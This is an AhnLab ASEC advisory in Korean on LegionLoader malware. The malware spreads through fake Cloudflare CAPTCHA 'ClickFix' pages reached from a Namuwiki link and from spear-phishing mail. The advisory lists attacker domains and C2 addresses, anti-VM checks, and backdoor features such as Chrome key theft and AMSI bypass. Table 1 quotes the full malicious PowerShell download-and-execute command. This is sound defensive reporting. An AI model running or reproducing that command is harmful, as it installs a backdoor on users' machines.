보안 인증 창을 믿었을 뿐인데… ClickFix 방식으로 유포 중인 LegionLoader 악성코드 주의
AhnLab SEcurity intelligence Center(ASEC)는 최근 ClickFix 방식으로 유포 중인 LegionLoader 악성코드를 확인하였다. 현재까지 확인된 유포 유형은 크게 두 가지이며, 모두 사용자가 악성 URL에 접속하도록 유도한 뒤 가짜 Cloudflare CAPTCHA 화면을 통해 악성 PowerShell 명령을 직접 실행하게 하는 방식이다.
첫 번째 유형은 국내 ‘신혼희망타운’ 나무위키 페이지를 통해 유포되는 사례이다. 사용자가 공격자에 의해 삽입된 가짜 ‘신혼희망타운’ URL에 접속하면 수차례의 Redirect를 거쳐 최종적으로 Cloudflare CAPTCHA로 위장한 악성 페이지에 연결되며, 안내에 따라 행동할 경우 LegionLoader를 다운로드하는 PowerShell 명령을 실행하게 된다.
두 번째 유형은 특정 기업을 대상으로 내부 업무 시스템의 계정 발급 안내 메일로 위장하여 악성 URL 접속을 유도하는 방식이다. ASEC에서 확인한 사례에서 공격자는 신규 계정의 초기 비밀번호 변경 및 활성화가 필요하다는 안내와 함께 해당 기업이 실제로 사용하는 도메인을 악성 URL과 함께 제시하여 메일의 신뢰도를 높였다. 그러나 사용자가 메일에 포함된 악성 URL에 접속하면 짧은 시간 동안 수차례의 Redirect를 거쳐 최종적으로 Cloudflare CAPTCHA로 위장한 악성 페이지에 연결되며, 안내에 따라 행동할 경우 LegionLoader를 다운로드하는 PowerShell 명령을 실행하게 된다.
LegionLoader는 내부에 암호화된 셸 코드와 PE 파일을 순차적으로 복호화한 뒤, 자체 구현한 PE Loader를 이용해 최종 백도어 악성코드를 실행하며, 이 과정에서 디스플레이 장치 정보와 외부 공인 IP의 ASN 유형을 기반으로 감염 환경을 검사한다. 최종적으로 실행되는 백도어 악성코드는 C2 서버의 명령에 따라 Process Injection과 Process Hollowing을 비롯한 다양한 실행 방식으로 PE 파일, 셸 코드, PowerShell 스크립트 및 MSI 파일 등의 추가 페이로드를 실행하는 기능을 갖고 있으며, 또한 Chrome 브라우저의 Master Key와 App-Bound 암호화 키를 탈취하고, C2 서버가 지정한 브라우저 프로필 정보를 수집하는 기능을 갖고 있다.

[그림 1] 가짜 Cloudflare CAPTCHA를 이용한 LegionLoader 유포 및 실행 흐름
1-1. 국내 ‘신혼희망타운’ 나무위키 페이지에서 유포 중인 LegionLoader
ASEC은 국내 ‘신혼희망타운’ 나무위키 페이지에 등록된 링크를 통해 LegionLoader가 유포되는 정황을 확인하였다. 공격자는 해당 나무위키 페이지에 공식 웹사이트로 위장한 악성 URL을 등록하여 사용자의 접속을 유도하였으며, 사용자가 해당 URL에 접속하면 여러 차례의 Redirect를 거쳐 PowerShell 명령 실행을 유도하는 가짜 Cloudflare CAPTCHA 페이지로 이동한다.
ClickFix 방식으로 실행되는 PowerShell 명령은 외부 서버에서 추가 PowerShell 코드를 내려받아 숨김 상태로 실행하며, 이후 실행된 PowerShell 코드는 추가 악성 파일을 다운로드와 다단계 실행 과정을 거쳐 최종적으로 감염 시스템에서 LegionLoader를 동작시킨다.

[그림 2] 국내 나무위키 ‘신혼희망타운’ 페이지에 공식 웹사이트로 위장해 등록된 악성 URL
공격자는 Cloudflare CAPTCHA 인증 화면으로 위장한 웹 페이지를 이용해 LegionLoader를 유포 중이며, 일반적인 CAPTCHA는 웹 페이지에서 사용자의 입력이나 버튼 클릭을 통해 인증을 완료하는 반면, 공격에 사용된 페이지는 사용자에게 별도의 Windows 명령 실행 절차를 안내한다.
사용자가 안내된 절차에 따라 클립보드에 복사된 PowerShell 명령을 실행하면 외부 서버로부터 추가 PowerShell 코드가 내려받아 실행되게 되며, 이후 추가 PowerShell 코드는 LegionLoader가 포함된 7z 암호 압축 파일을 다운로드 후 해당 파일의 압축을 해제한 뒤, 내부에 있는 LegionLoader를 실행한다.
|
PowerShell 코드 다운로드 및 실행 명령 |
|---|
|
powershell -w h -ep bypass -c “$s=irm ‘leappoploaderinstantly[.]monster/yAzkCl1tDKSGNGGxw’ -UseBasicParsing;$e=[Management.Automation.Language.Parser]::ParseInput($s,[ref]$null,[ref]$null);&($e.GetScriptBlock())” |
[표 1] ClickFix 페이지를 통해 실행되는 악성 PowerShell 명령
공격자는 LegionLoader 유포 과정에서 pop 문자열이 포함된 .monster 최상위 도메인(TLD)을 최초 확인된 8월부터 중간 Redirect 주소와 최종 ClickFix 페이지에 활용하였다. 이후 9월부터는 기존 .monster 계열 대신 .cfd 최상위 도메인을 사용하는 주소가 주로 확인되고 있어, 공격자가 유포 인프라의 도메인 체계를 변경한 것으로 추정된다. 이와 별도로 8월에 .com 최상위 도메인을 사용하는 주소가 일시적으로 확인되기도 하였다. 현재까지 동일한 공격에 사용된 것으로 확인된 도메인 목록 일부는 다음과 같다.
|
Index |
도메인 종류 |
확인된 도메인 |
확인된 시점 |
|---|---|---|---|
|
1 |
pop + .monster |
ascendpopdownloadtoday[.]monster |
8월에 활발히 확인 |
|
2 |
gushpopsecretdownload[.]monster |
||
|
3 |
jetpopdownloadsecret[.]monster |
||
|
4 |
leappoploaderinstantly[.]monster |
||
|
5 |
pourpopclickgetfast[.]monster |
||
|
6 |
spoutpoploaderfast[.]monster |
||
|
7 |
hotfootpopfilefast[.]monster |
||
|
8 |
boltpopsecretbutton[.]monster |
||
|
9 |
tearpopfilegetfast[.]monster |
||
|
10 |
flinchpoploaderfast[.]monster |
||
|
11 |
.cfd |
pixelrainbowclub[.]cfd |
9월에 활발히 확인 |
|
12 |
dreamysamuraisoul[.]cfd |
||
|
13 |
animecelestialblaze[.]cfd |
||
|
14 |
cartoontalesworld[.]cfd |
||
|
15 |
shadowinjalegend[.]cfd |
||
|
16 |
.com |
socialseoguru[.]com |
8월에 일시적으로 확인 |
[표 2] 유포 과정에서의 중간 Redirect 주소 및 최종 ClickFix 페이지로 사용된 도메인 목록 일부
또한 유포 과정에서 확인된 것과 동일한 악성 PowerShell 명령이 온라인 기술 커뮤니티에서도 게시된 사실을 확인하였다. 해당 게시글에는 사용자가 접속한 가짜 Cloudflare CAPTCHA 페이지의 화면이 함께 첨부되어 있어, 공격자가 ClickFix 방식으로 PowerShell 명령 실행을 유도할 당시 사용한 페이지의 형태를 확인할 수 있다.

[그림 3] Cloudflare CAPTCHA 인증 화면으로 위장해 PowerShell 명령 실행을 유도하는 ClickFix 페이지
(출처 – 온라인 기술 커뮤니티 Mitmachim Top : בקשת מידע | PowerShell – פיענוח פקודה חשודה שנמצאה באימות בוט | מתמחים טופ – פורום הטכנולוגיה של הצי…)
1-2. 특정 기업을 대상으로 스피어 피싱 방식으로 유포 중인 LegionLoader
AhnLab SEcurity intelligence Center(ASEC)는 특정 기업을 대상으로 발송된 스피어 피싱 메일을 통해 LegionLoader가 유포된 사례도 확인하였다. 공격자는 대상 기업에서 사용하는 내부 업무 시스템의 계정 발급 안내로 위장한 메일을 발송했으며, 신규 계정의 초기 비밀번호 변경과 계정 활성화가 필요하다는 내용으로 사용자의 악성 URL 접속을 유도하였다.
확인된 메일에는 계정 발급 절차와 함께 정상 업무 시스템으로 위장한 외부 URL이 포함되어 있었다. 또한 초기 비밀번호를 잘못 입력할 경우 계정이 잠길 수 있다는 경고와 일정 기간 내에 계정을 활성화해야 한다는 안내를 포함하여 사용자가 별다른 의심 없이 링크에 접속하도록 유도하였다.
사용자가 메일에 포함된 악성 URL에 접속하면 짧은 시간 동안 여러 차례의 Redirect를 거쳐 최종적으로 Cloudflare CAPTCHA 인증 화면으로 위장한 악성 페이지에 연결되며, 해당 페이지는 앞서 설명한 나무위키 유포 사례와 동일하게 정상적인 CAPTCHA 인증 절차를 제공하는 대신 사용자에게 별도의 Windows 명령 실행 절차를 안내한다.
마찬가지로 사용자가 안내된 절차에 따라 행동하게 되면 클립보드에 복사된 악성 PowerShell 명령이 직접 실행되며, 실행된 PowerShell 명령은 외부 서버로부터 추가 PowerShell 코드를 내려받아 실행 후, 이후 악성 파일 다운로드 및 다단계 실행 과정을 거쳐 최종적으로 감염 시스템에서 LegionLoader가 실행되게 된다.
|
C2 IP |
|---|
|
89[.]34.90.217 |
[표 3] 스피어 피싱 방식으로 유포되는 LegionLoader에서 확인된 C2 IP
2. 암호화된 셸 코드 복호화 및 실행
LegionLoader는 우선 실행에 필요한 Crypto API와 Thread Pool API 등을 동적으로 확인한 뒤, 내부에 암호화된 상태로 저장된 셸 코드를 복호화한다. 이후 복호화 결과의 전체 바이트 배열을 역순으로 변환하는 등의 추가 작업을 거쳐 셸 코드를 복원하고 실행한다.
복원된 셸 코드는 디스플레이 장치 정보와 외부 공인 IP의 ASN 유형을 바탕으로 현재 시스템이 가상화, 원격 환경 또는 호스팅 사업자에 할당된 IP 환경에 해당하는지 검사하며, 검사 조건에 해당하지 않을 경우 내부의 암호화된 PE 파일을 복호화하고 자체 구현한 PE 로더를 이용해 최종 백도어 악성코드를 실행한다.

[그림 4] 암호화된 셸 코드 복호화 결과
우선 EnumDisplayDevicesA API를 호출해 현재 시스템의 디스플레이 장치 이름을 얻은 후, 내부에 저장된 블랙리스트 디스플레이 장치 이름 문자열 목록과 비교해 가상화, 원격 또는 일반적이지 않은 디스플레이 환경에 해당하는지 확인한다.
|
비교 문자열 (16개) |
|---|
|
standard vga graphics adapter |
|
microsoft hyper-v video |
|
vmware svga 3d |
|
virtualbox graphics adapter |
|
virtualbox graphics |
|
parallels display adapter |
|
citrix display only driver |
|
qxl |
|
red hat qxl |
|
bochs display adapter |
|
microsoft basic display adapter |
|
microsoft virtual machine bus video device |
|
microsoft remote display adapter |
|
hyper-v video |
|
svga |
|
virtual display |
[표 4] 디스플레이 장치 검사에 사용되는 문자열 (16개)
이어서 ipinfo.io/what-is-my-ip 주소로 HTTP GET 요청을 전송해 시스템의 ASN 유형 값이 hosting 문자열과 일치하는지 비교해, 현재 시스템의 공인 IP가 호스팅 사업자에 할당된 IP인지 확인한다.

[그림 5] ipinfo.io/what-is-my-ip 주소로 HTTP GET 요청을 전송해 외부 공인 IP 및 ASN 유형 확인
3. 최종 백도어 악성코드 실행
최종적으로 실행되는 백도어 악성코드는 감염 호스트 정보를 C2 서버에 등록한 뒤, C2 서버로부터 전달되는 명령을 수신해 실행한다. 현재까지 확인된 C2 도메인은 dallasbackstage[.]com과 gemscocl[.]com이다. 두 C2 도메인은 동일한 경로를 사용하며, 각 경로의 역할은 다음과 같다.
|
종류 |
C2 주소 |
역할 |
|---|---|---|
|
dallasbackstage[.]com |
hxxps://dallasbackstage[.]com/nfront.php |
감염 호스트 등록 및 C2 명령 수신 |
|
hxxps://dallasbackstage[.]com/nback.php |
명령 실행 결과 보고 |
|
|
gemscocl[.]com |
hxxps://gemscocl[.]com/nfront.php |
감염 호스트 등록 및 C2 명령 수신 |
|
hxxps://gemscocl[.]com/nback.php |
명령 실행 결과 보고 |
[표 5] LegionLoader의 백도어 악성코드 C2 주소

[그림 6] RC4와 Base64를 이용하는 C2 통신
백도어 악성코드는 C2 명령에 포함된 설정값에 따라 추가 페이로드 실행, Chrome 브라우저 정보 수집, 지속성 등록 및 외부 URL 접속 등의 기능을 수행한다. 하나의 C2 응답에는 여러 기능의 설정값이 함께 포함될 수 있으며, 확인된 주요 기능은 다음과 같다.
|
주요 기능 |
대표 실행 방식 |
|---|---|
|
Native PE 실행 |
디스크 실행, 내부 PE Loader 사용, Process Injection, “RuntimeBroker.exe” Process Hollowing |
|
셸 코드 실행 |
“explorer.exe” Process Injection, 현재 프로세스에서 직접 실행 |
|
PowerShell 실행 |
일반 스크립트 실행, AMSI 우회 후 명령 실행 |
|
MSI 실행 |
ShellExecute 사용, msiexec 사용 |
|
Chrome 정보 수집 |
Legacy Master Key 수집, App-Bound 암호화 키 수집, 브라우저 레코드 수집 |
|
지속성 설정 |
Run 등록, RunOnce 등록 |
|
C2 지정 URL 접속 |
전달 받은 URL에 HTTP GET 요청 |
[표 6] 백도어 악성코드에서 확인된 주요 기능
결론
최근 공격자는 Cloudflare CAPTCHA 인증 화면으로 위장한 ClickFix 방식을 사용해 사용자가 직접 PowerShell 명령을 실행하도록 유도하고 있다. 해당 PowerShell 명령은 외부에서 추가 PowerShell 코드를 내려받아 실행하며, 이후 여러 단계의 복호화와 메모리 로딩 과정을 거쳐 최종 LegionLoader를 실행한다.
최종적으로 실행되는 백도어 악성코드는 C2 서버의 명령에 따라 Native PE, Runtime Module, 셸 코드, PowerShell 스크립트, MSI 파일 등을 실행할 수 있으며, 또한 explorer.exe 대상 Process Injection, RuntimeBroker.exe 대상 Process Hollowing, AMSI 우회 후 PowerShell 실행 등 다양한 방식으로 후속 페이로드를 실행할 수 있다.
따라서 사용자는 웹 페이지에서 CAPTCHA 인증이나 오류 해결을 명목으로 Windows 실행 창 또는 PowerShell 사용을 요구하는 경우 주의해야 하며, 특히 웹 페이지에서 복사된 명령을 직접 실행하도록 안내하는 행위는 정상적인 CAPTCHA 인증 절차가 아니므로 실행하지 않아야 한다. 또한 V3를 최신 버전으로 유지해 악성코드 감염을 사전에 차단할 수 있도록 주의해야 한다.